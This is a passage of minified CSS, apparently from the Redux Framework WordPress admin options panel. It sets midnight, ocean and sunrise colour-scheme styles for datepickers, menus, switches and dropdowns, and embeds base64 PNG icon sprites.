0.2;transition:all 0.2}.admin-color-midnight .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a:hover,.admin-color-midnight .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a:hover{color:#d92c23;background:#1e2124}.admin-color-midnight .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a span.group_title,.admin-color-midnight .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a span.group_title{padding-left:5px !important}.admin-color-midnight .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a,.admin-color-midnight .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a{padding-left:14px}.admin-color-midnight .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a span.group_title,.admin-color-midnight .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a span.group_title{padding-left:30px !important}.admin-color-midnight .redux-sidebar .redux-group-menu li.active.hasSubSections a{background:#e14d43}.admin-color-midnight .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a{background:#363b3f}.admin-color-midnight .redux-sidebar .redux-group-menu li.activeChild.hasSubSections a{background:#c2c4c5;text-shadow:1px 1px #74787a}.admin-color-midnight .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a{background:#363b3f;text-shadow:none}.admin-color-midnight .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.active a{background:#e14d43;text-shadow:1px 1px #a4231a}.admin-color-midnight .redux-container-image_select .redux-image-select-selected img{border-color:#e14d43}.admin-color-midnight .redux-container-image_select .redux-image-select-selected .tiles{border-color:#e14d43}.admin-color-midnight #redux-footer #redux-share a{color:#e14d43}.admin-color-midnight #redux-footer #redux-share a:hover{color:#a4231a}.admin-color-midnight .select2-results .select2-highlighted{background:#e14d43}.admin-color-midnight .select2-drop-active,.admin-color-midnight .select2-container-multi.select2-container-active .select2-choices,.admin-color-midnight .select2-drop.select2-drop-above.select2-drop-active,.admin-color-midnight .select2-container-active .select2-choice,.admin-color-midnight .select2-container-active .select2-choices,.admin-color-midnight .select2-dropdown-open.select2-drop-above .select2-choice,.admin-color-midnight .select2-dropdown-open.select2-drop-above .select2-choices{border-color:#e14d43}.admin-color-midnight .select2-dropdown-open.select2-drop-above .select2-choice,.admin-color-midnight .select2-dropdown-open.select2-drop-above .select2-choices{border-top:inherit}.admin-color-midnight .noUi-connect{background-color:#e35950 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#e8776f), to(#e35950)) !important;background-image:-moz-linear-gradient(top, #e8776f, #e35950) !important;background-image:-ms-linear-gradient(top, #e8776f, #e35950) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #e8776f), color-stop(100%, #e35950)) !important;background-image:-webkit-linear-gradient(top, #e8776f, #e35950) !important;background-image:-o-linear-gradient(top, #e8776f, #e35950) !important;background-image:-linear-gradient(top, #e8776f, #e35950) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#e8776f', endColorstr='#e35950', GradientType=0) !important}.admin-color-ocean .button.ui-datepicker-current,.admin-color-ocean button.ui-datepicker-close{background-color:#a7c0a9 !important}.admin-color-ocean .ui-datepicker-buttonpane button.ui-datepicker-current{background:#86a988 !important;color:white !important;border:1px solid #547555 !important}.admin-color-ocean .ui-datepicker-header .ui-icon{background-image:url(data:image/png;base64,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) !important}.admin-color-ocean .ui-datepicker-header{background-color:#627c83 !important;color:white !important}.admin-color-ocean .ui-datepicker td .ui-state-active{background-color:#a7c0a9 !important;color:white !important}.admin-color-ocean .ui-datepicker td .ui-state-hover{color:#a7c0a9 !important}.admin-color-ocean .ui-datepicker td .ui-state-highlight{background:#9ebaa0 !important;border:1px solid #627c83 !important;color:white !important}.admin-color-ocean .redux-container-switch .cb-disable,.admin-color-ocean .redux-container-switch .cb-enable,.admin-color-ocean .ui-state-default,.admin-color-ocean .ui-widget-content .ui-state-default,.admin-color-ocean .ui-widget-header .ui-state-default{background-color:#f5f5f5 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#f8f8f8), to(#f5f5f5)) !important;background-image:-moz-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-ms-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #f8f8f8), color-stop(100%, #f5f5f5)) !important;background-image:-webkit-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-o-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-linear-gradient(top, #f8f8f8, #f5f5f5) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f8f8f8', endColorstr='#f5f5f5', GradientType=0) !important;border-color:#ccc !important}.admin-color-ocean .ui-datepicker td .ui-state-active{color:black !important;font-weight:700 !important;background:white !important}.admin-color-ocean .redux-container-switch .cb-disable.selected{background-color:#646464 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#929292), to(#646464)) !important;background-image:-moz-linear-gradient(top, #929292, #646464) !important;background-image:-ms-linear-gradient(top, #929292, #646464) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #929292), color-stop(100%, #646464)) !important;background-image:-webkit-linear-gradient(top, #929292, #646464) !important;background-image:-o-linear-gradient(top, #929292, #646464) !important;background-image:-linear-gradient(top, #929292, #646464) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#929292', endColorstr='#646464', GradientType=0) !important;border-color:#767676 !important}.admin-color-ocean .redux-container-switch .cb-enable.selected,.admin-color-ocean .redux-field-container .ui-buttonset .ui-state-active{background-color:#9ebaa0 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#b3c9b4), to(#9ebaa0)) !important;background-image:-moz-linear-gradient(top, #b3c9b4, #9ebaa0) !important;background-image:-ms-linear-gradient(top, #b3c9b4, #9ebaa0) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #b3c9b4), color-stop(100%, #9ebaa0)) !important;background-image:-webkit-linear-gradient(top, #b3c9b4, #9ebaa0) !important;background-image:-o-linear-gradient(top, #b3c9b4, #9ebaa0) !important;background-image:-linear-gradient(top, #b3c9b4, #9ebaa0) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#b3c9b4', endColorstr='#9ebaa0', GradientType=0) !important;border-color:#719a74 !important;border-color:#80a583 !important;-webkit-box-shadow:inset 0 1px 0 #cbdacc,0 1px 0 rgba(0,0,0,0.15) !important;box-shadow:inset 0 1px 0 #cbdacc,0 1px 0 rgba(0,0,0,0.15) !important}.admin-color-ocean #redux-header{background:#627c83;border-color:#9ebaa0}.admin-color-ocean #redux-header .display_header span{color:#d5dddf}.admin-color-ocean .redux-sidebar .redux-group-menu li.active.hasSubSections a{position:relative}.admin-color-ocean .redux-sidebar .redux-group-menu li.active.hasSubSections a:after{right:0;border:solid 8px transparent;content:"\0020";height:0;width:0;position:absolute;pointer-events:none;border-right-color:#fff;top:50%;margin-top:-8px}.admin-color-ocean .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a:after{border:0 none !important;content:"\0020" !important}.admin-color-ocean .redux-sidebar .redux-group-menu li.hasSubSections .redux-menu-error{display:none;margin-right:5px}.admin-color-ocean .redux-sidebar .redux-group-menu li.hasSubSections a.hasError .extraIconSubsections{background-color:#b94a48;color:#f2dede}.admin-color-ocean .redux-sidebar .redux-group-menu li.hasSubSections a .extraIconSubsections{border-radius:10px;-moz-border-radius:10px;-webkit-border-radius:10px;border:0 solid transparent;font-size:9px;height:9px;line-height:9px;margin-right:5px;padding:6px 7px 4px 7px;width:5px}.admin-color-ocean .redux-sidebar .redux-group-menu li.active a .extraIconSubsections,.admin-color-ocean .redux-sidebar .redux-group-menu li.activeChild a .extraIconSubsections{display:none}.admin-color-ocean .redux-sidebar .redux-group-menu li.active.hasSubSections .redux-menu-error,.admin-color-ocean .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .redux-menu-error{display:block}.admin-color-ocean .redux-sidebar .redux-group-menu li.active.hasSubSections .subsection .redux-menu-error,.admin-color-ocean .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .subsection .redux-menu-error{margin-right:2px}.admin-color-ocean .redux-sidebar .redux-group-menu li.active,.admin-color-ocean .redux-sidebar .redux-group-menu li.activeChild{border-left:0 none}.admin-color-ocean .redux-sidebar .redux-group-menu li.active a,.admin-color-ocean .redux-sidebar .redux-group-menu li.activeChild a{color:#627c83}.admin-color-ocean .redux-sidebar .redux-group-menu li.active.hasSubSections .active a:after,.admin-color-ocean .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .active a:after{right:0;border:solid 8px transparent;content:"\0020";height:0;width:0;position:absolute;pointer-events:none;border-right-color:#fff;top:50%;margin-top:-8px}.admin-color-ocean .redux-sidebar .redux-group-menu li.active.hasSubSections a,.admin-color-ocean .redux-sidebar .redux-group-menu li.activeChild.hasSubSections a{-webkit-transition:all 0.2s;-moz-transition:all 0.2s;transition:all 0.2s;color:#fff;width:auto;border-bottom:0}.admin-color-ocean .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li,.admin-color-ocean .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li{border-top:0 none !important}.admin-color-ocean .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.active a:hover,.admin-color-ocean .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.active a:hover{color:#fff}.admin-color-ocean .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a,.admin-color-ocean .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a{width:auto;border-top:0 !important;padding:7px;color:#fff;padding-left:15px;-webkit-transition:all 0.2;-moz-transition:all 0.2;-ms-transition:all 0.2;-o-transition:all 0.2;transition:all 0.2}.admin-color-ocean .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a:hover,.admin-color-ocean .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a:hover{color:#86a988;background:#4c6066}.admin-color-ocean .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a span.group_title,.admin-color-ocean .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a span.group_title{padding-left:5px !important}.admin-color-ocean .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a,.admin-color-ocean .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a{padding-left:14px}.admin-color-ocean .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a span.group_title,.admin-color-ocean .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a span.group_title{padding-left:30px !important}.admin-color-ocean .redux-sidebar .redux-group-menu li.active.hasSubSections a{background:#9ebaa0}.admin-color-ocean .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a{background:#627c83}.admin-color-ocean .redux-sidebar .redux-group-menu li.activeChild.hasSubSections a{background:#d5dddf;text-shadow:1px 1px #7e979d}.admin-color-ocean .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a{background:#627c83;text-shadow:none}.admin-color-ocean .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.active a{background:#9ebaa0;text-shadow:1px 1px #658d68}.admin-color-ocean .redux-container-image_select .redux-image-select-selected img{border-color:#9ebaa0}.admin-color-ocean .redux-container-image_select .redux-image-select-selected .tiles{border-color:#9ebaa0}.admin-color-ocean #redux-footer #redux-share a{color:#9ebaa0}.admin-color-ocean #redux-footer #redux-share a:hover{color:#658d68}.admin-color-ocean .select2-results .select2-highlighted{background:#9ebaa0}.admin-color-ocean .select2-drop-active,.admin-color-ocean .select2-container-multi.select2-container-active .select2-choices,.admin-color-ocean .select2-drop.select2-drop-above.select2-drop-active,.admin-color-ocean .select2-container-active .select2-choice,.admin-color-ocean .select2-container-active .select2-choices,.admin-color-ocean .select2-dropdown-open.select2-drop-above .select2-choice,.admin-color-ocean .select2-dropdown-open.select2-drop-above .select2-choices{border-color:#9ebaa0}.admin-color-ocean .select2-dropdown-open.select2-drop-above .select2-choice,.admin-color-ocean .select2-dropdown-open.select2-drop-above .select2-choices{border-top:inherit}.admin-color-ocean .noUi-connect{background-color:#a7c0a9 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#bccfbd), to(#a7c0a9)) !important;background-image:-moz-linear-gradient(top, #bccfbd, #a7c0a9) !important;background-image:-ms-linear-gradient(top, #bccfbd, #a7c0a9) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #bccfbd), color-stop(100%, #a7c0a9)) !important;background-image:-webkit-linear-gradient(top, #bccfbd, #a7c0a9) !important;background-image:-o-linear-gradient(top, #bccfbd, #a7c0a9) !important;background-image:-linear-gradient(top, #bccfbd, #a7c0a9) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#bccfbd', endColorstr='#a7c0a9', GradientType=0) !important}.admin-color-sunrise .button.ui-datepicker-current,.admin-color-sunrise button.ui-datepicker-close{background-color:#df8a48 !important}.admin-color-sunrise .ui-datepicker-buttonpane button.ui-datepicker-current{background:#cc6c23 !important;color:white !important;border:1px solid #753e14 !important}.admin-color-sunrise .ui-datepicker-header .ui-icon{background-image:url(data:image/png;base64,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